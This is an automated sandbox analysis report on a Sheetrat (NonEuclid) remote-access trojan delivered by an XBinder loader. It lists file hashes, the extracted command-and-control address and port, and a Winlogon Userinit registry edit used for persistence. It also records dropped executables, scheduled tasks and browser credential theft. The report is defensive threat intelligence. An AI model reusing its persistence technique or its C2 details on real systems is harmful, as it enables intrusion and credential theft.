sheetrat | b1f4158f00e0bce795a110d6f4840e14b1a7b99b1b6b6f41175f5ed639f87f8a

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/07/2026, 21:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
XBinderOutput.exe
Size 827KB
Sample260716-1btnesev4n
SHA256 b1f4158f00e0bce795a110d6f4840e14b1a7b99b1b6b6f41175f5ed639f87f8a
MD5 9861df936c892dea40dc0fb34e8f6782
SHA1 b8e9038d38bda22e4bde694ac4e5285a75b2dc49
SHA512 eac5f0be8467ee98c63c1e5de0b4b655a90dbece77713b45ce3ce6f2ea0b9a7b585de37250bb34edddda0801f00bb4255f16755b79cef42ae77c5f3148701a64
SSDEEP 24576:dfRRhfgjk9EjY6FD6EHX2pnZZUxlSKOtNIduW:dJDfgjsCYm6EYnkjO7Qu
TLSH
T10B0533C154EA2B68E5662C34DE9344C3297851FCDAF74E023F6C87AC9D0E78E44F2A64
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

costura discovery execution sheetrat xbinder loader packer persistence privilege_escalation spyware stealer trojan upx

Malware Config

Extracted

Family

xbinder

Mutex

9el22sDlo2FIqEFpe

Attributes

primary_drop_directory
%Temp%
primary_execute
true
primary_hidden_file
false
primary_resource_name
cheaasd.exe
secondary_drop_directory
%Temp%
secondary_execute
true
secondary_hidden_file
false
secondary_resource_name
HolyCheck.exe

Extracted

Family

sheetrat

Version

91.92.42.94:1105

Signatures

Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
trojan sheetrat
Family: XBinder
XBinder is a crypter and loader delivering a wide variety of malware, written in C#.
loader xbinder

Detects Sheetrat obfuscated V1.8 and higher 2 IoCs

Sheetrat aka NonEuclid RAT is a trojan written in C#.

resource	yara_rule
behavioral1/files/0x000800000002444c-6.dat	family_sheetrat_v4
behavioral1/memory/1920-15-0x0000000000240000-0x00000000002E2000-memory.dmp	family_sheetrat_v4

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Windows\\Sub\\xdwdMalwareDef.exe"	cheaasd.exe

Detected Nirsoft tools 12 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/files/0x00030000000233a5-256.dat	Nirsoft
behavioral1/memory/1844-259-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral1/memory/2080-264-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral1/memory/1844-271-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral1/memory/1116-278-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral1/memory/3124-287-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral1/memory/5072-298-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral1/memory/2956-302-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral1/memory/524-309-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral1/memory/4476-315-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral1/memory/2904-326-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral1/memory/1444-371-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	XBinderOutput.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	cheaasd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	HolyCheck.exe

Executes dropped EXE 64 IoCs

pid	Process
1920	cheaasd.exe
2196	HolyCheck.exe
4468	xdwdMalwareDef.exe
2080	RecentFilesView.exe
116	BrowserDownloadsView.exe
4192	ExecutedProgramsList.exe
1844	RecentFilesView.exe
4012	BrowserDownloadsView.exe
3208	ExecutedProgramsList.exe
1116	RecentFilesView.exe
3900	ExecutedProgramsList.exe
4252	BrowserDownloadsView.exe
3124	RecentFilesView.exe
4024	ExecutedProgramsList.exe
4344	BrowserDownloadsView.exe
5072	RecentFilesView.exe
1864	ExecutedProgramsList.exe
636	BrowserDownloadsView.exe
2956	RecentFilesView.exe
1464	ExecutedProgramsList.exe
4364	BrowserDownloadsView.exe
524	RecentFilesView.exe
4336	BrowserDownloadsView.exe
4260	ExecutedProgramsList.exe
4936	xdwdMalwareDef.exe
3304	xdwdMalwareDef.exe
4872	xdwdMalwareDef.exe
3788	xdwdMalwareDef.exe
2804	xdwdMalwareDef.exe
2304	xdwdMalwareDef.exe
4004	xdwdMalwareDef.exe
960	xdwdMalwareDef.exe
1284	xdwdMalwareDef.exe
2524	xdwdMalwareDef.exe
4476	RecentFilesView.exe
3388	BrowserDownloadsView.exe
5040	ExecutedProgramsList.exe
2904	RecentFilesView.exe
5212	ExecutedProgramsList.exe
5160	BrowserDownloadsView.exe
1444	RecentFilesView.exe
5324	ExecutedProgramsList.exe
5344	BrowserDownloadsView.exe
784	xdwdMalwareDef.exe
2336	xdwdMalwareDef.exe
5504	xdwdMalwareDef.exe
5924	xdwdMalwareDef.exe
2420	xdwdMalwareDef.exe
2332	xdwdMalwareDef.exe
936	xdwdMalwareDef.exe
3920	xdwdMalwareDef.exe
3572	xdwdMalwareDef.exe
4624	xdwdMalwareDef.exe
6012	xdwdMalwareDef.exe
5996	xdwdMalwareDef.exe
5220	xdwdMalwareDef.exe
6036	xdwdMalwareDef.exe
2220	xdwdMalwareDef.exe
5608	xdwdMalwareDef.exe
5624	xdwdMalwareDef.exe
1916	xdwdMalwareDef.exe
1444	xdwdMalwareDef.exe
2540	xdwdMalwareDef.exe
4844	xdwdMalwareDef.exe

Loads dropped DLL 64 IoCs

pid	Process
4468	xdwdMalwareDef.exe
2136	Process not Found
4304	Process not Found
2280	Process not Found
4448	Process not Found
4392	Process not Found
1876	Process not Found
3124	Process not Found
4968	powershell.exe
2260	Process not Found
1864	Process not Found
568	powershell.exe
2960	Process not Found
4712	Process not Found
4128	Process not Found
2956	Process not Found
900	powershell.exe
3148	Process not Found
2704	Process not Found
4980	Process not Found
4684	Process not Found
4180	Process not Found
5040	Process not Found
2960	Process not Found
2804	Process not Found
5004	Process not Found
3396	Process not Found
3152	Process not Found
1888	Process not Found
4196	Process not Found
3344	Process not Found
4936	xdwdMalwareDef.exe
3304	xdwdMalwareDef.exe
4872	xdwdMalwareDef.exe
3788	xdwdMalwareDef.exe
2804	xdwdMalwareDef.exe
2304	xdwdMalwareDef.exe
4004	xdwdMalwareDef.exe
5004	Process not Found
1856	Process not Found
960	xdwdMalwareDef.exe
1284	xdwdMalwareDef.exe
2524	xdwdMalwareDef.exe
3396	Process not Found
1856	Process not Found
3940	Process not Found
3512	Process not Found
4180	Process not Found
5136	Process not Found
5128	Process not Found
5308	Process not Found
5504	Process not Found
5516	Process not Found
5524	Process not Found
5532	Process not Found
5556	Process not Found
5624	Process not Found
5716	Process not Found
5724	Process not Found
5800	Process not Found
6000	Process not Found
6048	Process not Found
6088	Process not Found
5124	Process not Found

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000024469-209.dat	upx
behavioral1/memory/2080-211-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/1844-259-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/2080-264-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/1844-271-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/1116-278-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/3124-287-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/5072-298-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/2956-302-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/524-309-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/4476-315-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/1444-323-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/2904-326-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral1/memory/1444-371-0x0000000000400000-0x0000000000417000-memory.dmp	upx

Costura .NET executable packer 1 IoCs

Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

costura packer

resource	yara_rule
behavioral1/memory/4468-319-0x000000001CD00000-0x000000001CD78000-memory.dmp	costura

Drops file in Windows directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	cheaasd.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File created	C:\Windows\Sub\xdwdMalwareDef.exe	cheaasd.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	cheaasd.exe
File created	C:\Windows\xdwd.dll	cheaasd.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdWindowsUpdate.exe	xdwdMalwareDef.exe
File opened for modification	C:\Windows\Sub\xdwdMalwareDef.exe	xdwdMalwareDef.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4968	powershell.exe
568	powershell.exe
900	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	cheaasd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
7336	schtasks.exe
7756	schtasks.exe
7780	schtasks.exe
360	schtasks.exe
4756	schtasks.exe
6092	schtasks.exe
3392	schtasks.exe
7740	schtasks.exe
6524	schtasks.exe
3144	schtasks.exe
2320	schtasks.exe
7248	schtasks.exe
7300	schtasks.exe
7732	schtasks.exe
3260	schtasks.exe
492	schtasks.exe
5904	schtasks.exe
5960	schtasks.exe
6864	schtasks.exe
2428	schtasks.exe
7368	schtasks.exe
7700	schtasks.exe
760	schtasks.exe
7020	schtasks.exe
7208	schtasks.exe
7624	schtasks.exe
360	schtasks.exe
5192	schtasks.exe
7400	schtasks.exe
7392	schtasks.exe
7708	schtasks.exe
7308	schtasks.exe
3380	schtasks.exe
5704	schtasks.exe
8068	schtasks.exe
7260	schtasks.exe
2424	schtasks.exe
4612	schtasks.exe
704	schtasks.exe
4168	schtasks.exe
2564	schtasks.exe
2452	schtasks.exe
1360	schtasks.exe
7640	schtasks.exe
5892	schtasks.exe
5840	schtasks.exe
7352	schtasks.exe
636	schtasks.exe
4596	schtasks.exe
5016	schtasks.exe
5928	schtasks.exe
5764	schtasks.exe
5724	schtasks.exe
1600	schtasks.exe
872	schtasks.exe
5868	schtasks.exe
896	schtasks.exe
5952	schtasks.exe
4696	schtasks.exe
5276	schtasks.exe
3512	schtasks.exe
5240	schtasks.exe
6040	schtasks.exe
2608	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
568	powershell.exe
568	powershell.exe
568	powershell.exe
568	powershell.exe
900	powershell.exe
900	powershell.exe
900	powershell.exe
900	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 7 IoCs

pid	Process
4012	BrowserDownloadsView.exe
4252	BrowserDownloadsView.exe
636	BrowserDownloadsView.exe
4364	BrowserDownloadsView.exe
4336	BrowserDownloadsView.exe
3388	BrowserDownloadsView.exe
5344	BrowserDownloadsView.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	1920	cheaasd.exe
Token: SeDebugPrivilege	4468	xdwdMalwareDef.exe
Token: SeIncBasePriorityPrivilege	4468	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	900	powershell.exe
Token: SeDebugPrivilege	4936	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3304	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4872	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2804	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3788	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2304	xdwdMalwareDef.exe
Token: SeDebugPrivilege	960	xdwdMalwareDef.exe
Token: SeDebugPrivilege	1284	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2524	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4004	xdwdMalwareDef.exe
Token: SeDebugPrivilege	784	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2336	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5504	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5924	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2332	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2420	xdwdMalwareDef.exe
Token: SeDebugPrivilege	936	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3920	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4624	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3572	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5996	xdwdMalwareDef.exe
Token: SeDebugPrivilege	6012	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2160	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2584	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5608	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4844	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5176	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5204	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3944	xdwdMalwareDef.exe
Token: SeDebugPrivilege	1736	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3784	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2220	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4864	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5624	xdwdMalwareDef.exe
Token: SeDebugPrivilege	1444	xdwdMalwareDef.exe
Token: SeDebugPrivilege	1916	xdwdMalwareDef.exe
Token: SeDebugPrivilege	3228	xdwdMalwareDef.exe
Token: SeDebugPrivilege	5220	xdwdMalwareDef.exe
Token: SeDebugPrivilege	6036	xdwdMalwareDef.exe
Token: SeDebugPrivilege	4344	xdwdMalwareDef.exe
Token: SeDebugPrivilege	968	xdwdMalwareDef.exe
Token: SeDebugPrivilege	2540	xdwdMalwareDef.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5040	ExecutedProgramsList.exe
2196	HolyCheck.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1488 wrote to memory of 1920	1488	XBinderOutput.exe	86
PID 1488 wrote to memory of 2196	1488	XBinderOutput.exe	87
PID 1920 wrote to memory of 3544	1920	cheaasd.exe	90
PID 1920 wrote to memory of 3656	1920	cheaasd.exe	91
PID 3656 wrote to memory of 1068	3656	cmd.exe	94
PID 1920 wrote to memory of 3368	1920	cheaasd.exe	95
PID 3368 wrote to memory of 2304	3368	cmd.exe	97
PID 1920 wrote to memory of 4468	1920	cheaasd.exe	98
PID 4468 wrote to memory of 1248	4468	xdwdMalwareDef.exe	99
PID 1248 wrote to memory of 3476	1248	cmd.exe	101
PID 4468 wrote to memory of 2640	4468	xdwdMalwareDef.exe	102
PID 2640 wrote to memory of 3512	2640	cmd.exe	104
PID 2196 wrote to memory of 2340	2196	HolyCheck.exe	106
PID 2196 wrote to memory of 3500	2196	HolyCheck.exe	105
PID 2196 wrote to memory of 3148	2196	HolyCheck.exe	107
PID 2196 wrote to memory of 4864	2196	HolyCheck.exe	111
PID 2196 wrote to memory of 4968	2196	HolyCheck.exe	113
PID 2196 wrote to memory of 4948	2196	HolyCheck.exe	115
PID 2196 wrote to memory of 568	2196	HolyCheck.exe	118
PID 2196 wrote to memory of 2080	2196	HolyCheck.exe	117
PID 4468 wrote to memory of 3820	4468	xdwdMalwareDef.exe	120
PID 4468 wrote to memory of 3496	4468	xdwdMalwareDef.exe	122
PID 3820 wrote to memory of 492	3820	cmd.exe	124
PID 3496 wrote to memory of 636	3496	cmd.exe	125
PID 2196 wrote to memory of 4728	2196	HolyCheck.exe	126
PID 2196 wrote to memory of 116	2196	HolyCheck.exe	128
PID 2196 wrote to memory of 900	2196	HolyCheck.exe	129
PID 2196 wrote to memory of 4192	2196	HolyCheck.exe	131
PID 2196 wrote to memory of 1844	2196	HolyCheck.exe	132
PID 2196 wrote to memory of 4012	2196	HolyCheck.exe	133
PID 2196 wrote to memory of 3208	2196	HolyCheck.exe	134
PID 4468 wrote to memory of 2116	4468	xdwdMalwareDef.exe	135
PID 4468 wrote to memory of 3520	4468	xdwdMalwareDef.exe	137
PID 2116 wrote to memory of 2452	2116	cmd.exe	138
PID 3520 wrote to memory of 1732	3520	cmd.exe	140
PID 2196 wrote to memory of 1116	2196	HolyCheck.exe	141
PID 2196 wrote to memory of 3900	2196	HolyCheck.exe	142
PID 2196 wrote to memory of 4252	2196	HolyCheck.exe	143
PID 4468 wrote to memory of 3528	4468	xdwdMalwareDef.exe	144
PID 3528 wrote to memory of 380	3528	cmd.exe	146
PID 4468 wrote to memory of 2156	4468	xdwdMalwareDef.exe	147
PID 2156 wrote to memory of 2892	2156	cmd.exe	149
PID 4468 wrote to memory of 980	4468	xdwdMalwareDef.exe	150
PID 980 wrote to memory of 4596	980	cmd.exe	152
PID 4468 wrote to memory of 4584	4468	xdwdMalwareDef.exe	153
PID 4584 wrote to memory of 2428	4584	cmd.exe	155
PID 2196 wrote to memory of 3124	2196	HolyCheck.exe	156
PID 2196 wrote to memory of 4024	2196	HolyCheck.exe	157
PID 2196 wrote to memory of 4344	2196	HolyCheck.exe	158
PID 4468 wrote to memory of 1672	4468	xdwdMalwareDef.exe	160
PID 1672 wrote to memory of 3380	1672	cmd.exe	162
PID 4468 wrote to memory of 1716	4468	xdwdMalwareDef.exe	163
PID 1716 wrote to memory of 2424	1716	cmd.exe	165
PID 2196 wrote to memory of 5072	2196	HolyCheck.exe	166
PID 2196 wrote to memory of 1864	2196	HolyCheck.exe	167
PID 2196 wrote to memory of 636	2196	HolyCheck.exe	168
PID 4468 wrote to memory of 2792	4468	xdwdMalwareDef.exe	169
PID 2792 wrote to memory of 2512	2792	cmd.exe	171
PID 4468 wrote to memory of 3456	4468	xdwdMalwareDef.exe	172
PID 3456 wrote to memory of 360	3456	cmd.exe	174
PID 2196 wrote to memory of 2956	2196	HolyCheck.exe	175
PID 2196 wrote to memory of 1464	2196	HolyCheck.exe	176
PID 2196 wrote to memory of 4364	2196	HolyCheck.exe	177
PID 4468 wrote to memory of 4392	4468	xdwdMalwareDef.exe	178

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XBinderOutput.exe
"C:\Users\Admin\AppData\Local\Temp\XBinderOutput.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1488
- C:\Users\Admin\AppData\Local\Temp\cheaasd.exe
  "C:\Users\Admin\AppData\Local\Temp\cheaasd.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Windows directory
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
